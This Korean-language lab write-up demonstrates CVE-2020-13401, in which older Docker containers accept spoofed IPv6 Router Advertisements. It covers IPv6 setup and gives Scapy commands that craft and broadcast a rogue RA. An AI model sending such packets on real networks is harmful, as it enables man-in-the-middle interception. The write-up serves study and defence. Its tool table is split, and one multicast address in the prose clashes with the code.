
19.03.11 이전의 도커에서 컨테이너의 CVE-2020-13401 취약점에 대한 연구
19.03.11 이전 도커에서 컨테이너의 CVE-2020-13401 취약점에 대한 연구
19.03.11 이전 버전의 Docker Engine으로 생성된 컨테이너는 네트워크상의 다른 컨테이너로부터 가짜 RA(Router Advertisement) 메시지를 수신하고 적용할 수 있는 취약점을 가지고 있습니다. RA 수신은 운영 체제의 정상적인 동작이지만, 네트워크에서 RA 발신자를 신뢰할 수 없는 경우 피해 컨테이너가 메시지를 수신하고 네트워크에 가입한 후 모든 네트워크 패킷을 새로운 가짜 라우터로 보내게 됩니다(중간자 공격). 이 문제는 IPv4와 관련이 없으며 IPv6 기반입니다.
원본 CVE 항목 출처: CVE-2020-13401
19.03.11 이전의 Docker Engine에서는 컨테이너가 기본적으로 RA 메시지를 수락합니다. 네트워크에 CAP_NET_RAW 기능을 가진 다른 컨테이너가 있다고 가정해 보십시오. 이는 해당 컨테이너가 모든 네트워크 패킷을 생성하여 네트워크로 보낼 수 있음을 의미합니다. 따라서 이 컨테이너는 패킷 제작 소스로 사용될 수 있습니다. 최신 버전에서는 Docker Engine에서 이 기능을 활성화하지 않는 한 컨테이너가 RA 메시지를 수락하지 않습니다. 따라서 관리자가 이 기능을 활성화하기로 결정하면 시스템이 여전히 취약할 수 있습니다.
컨테이너 환경을 이 취약점으로부터 보호하려면 Docker Engine을 업데이트하는 것이 좋습니다.
이 연구에서는 이 취약점이 어떻게 발생하는지 시연하고 RA 메시지가 컨테이너에 어떤 영향을 미치는지 확인하고자 합니다.
실행 중인 컨테이너에서 IPv6가 작동하는지 확인하기 위해 테스트했습니다. 그러나 컨테이너에서 기본적으로 IPv6가 지원되지 않는다는 것을 발견했습니다. 기본적으로 모든 Docker 컨테이너는 bridge 네트워크에 연결되며 이 네트워크는 IPv6를 지원하지 않습니다. Docker에서 IPv6를 활성화하려면 /etc/docker/ 경로에 daemon.json 파일을 추가해야 합니다. 이 파일의 내용은 다음과 같아야 합니다.
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
유효한 IPv6 서브넷 주소를 할당할 수 있습니다. 그런 다음 Docker를 다시 시작하고 데몬 파일을 처음부터 다시 읽어 기본 브리지 네트워크를 구성해야 합니다. 또한 IPv6를 지원하는 새 네트워크를 정의할 수도 있습니다.
구성을 다시 로드하고 Docker를 다시 시작하는 명령:
$ sudo systemctl daemon-reload$ sudo systemctl restart docker이제 IPv6를 지원하는 Docker가 준비되었으며 시뮬레이션을 시작할 컨테이너를 생성할 차례입니다. 최소 2개의 컨테이너가 필요합니다. 각각 Ubuntu_1과 Ubuntu_2라고 부르겠습니다. 호스트 머신에서 다음 명령을 사용하여 컨테이너를 생성하십시오.
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
다음 명령으로 컨테이너 목록을 확인하십시오.
$ docker container ls -a
컨테이너 이름을 사용하여 실행하십시오.
$ docker container start -ai [컨테이너 이름]
두 컨테이너 모두에 다음과 같은 기본 도구가 필요합니다.
| 도구 | 설치 명령 |
|---|---|
| nano (또는 다른 편집기) | apt-get install nano |
필요한 도구를 설치하고 컨테이너가 연결되어 있는지 확인하십시오. 이를 위해 ifconfig 명령을 사용하여 컨테이너 IP와 인터페이스 정보를 가져옵니다. 그런 다음 ping -6 [대상 IPv6] 명령으로 다른 컨테이너에 ping을 보내 연결되어 있는지 확인합니다. 또한 대상 컨테이너에서 tcpdump를 사용하여 수신되는 ping 패킷을 볼 수 있습니다.
(컨테이너에 ping을 보낼 때 IPv6를 사용하고 있는지 확인하십시오)
네트워크에 있는 컨테이너 중 하나에서 조작된 RA 메시지를 보내 피해자의 IpTable을 업데이트하려고 합니다.
_SCAPY_를 사용하여 IPv6 라우터 알림 메시지를 생성합니다. Scapy는 Python 기반입니다. 설치 단계는 다음과 같습니다.
$ sudo apt install python3-scapyRA 패킷은 브로드캐스트 패킷이며 모든 네트워크 노드에 전달되어야 합니다. 또한 IPv6 규칙을 기반으로 합니다. 따라서 대상 주소는 ff01::1이고 프로토콜은 ICMPv6을 기반으로 합니다.
Scapy 실행:
$ scapy
다음 명령을 사용하여 패킷을 제작하고 네트워크로 보냅니다.
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
패킷을 보낸 후 다른 컨테이너로 이동하여 ifconfig를 다시 사용하십시오. RA 메시지를 수신한 후 IpTable이 업데이트된 것을 볼 수 있습니다.
이 문제를 테스트하고 연구하기 위해 내가 만든 Docker 이미지를 가져올 수 있습니다. 내 맞춤 Docker 이미지
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (한 컨테이너에만 설치) |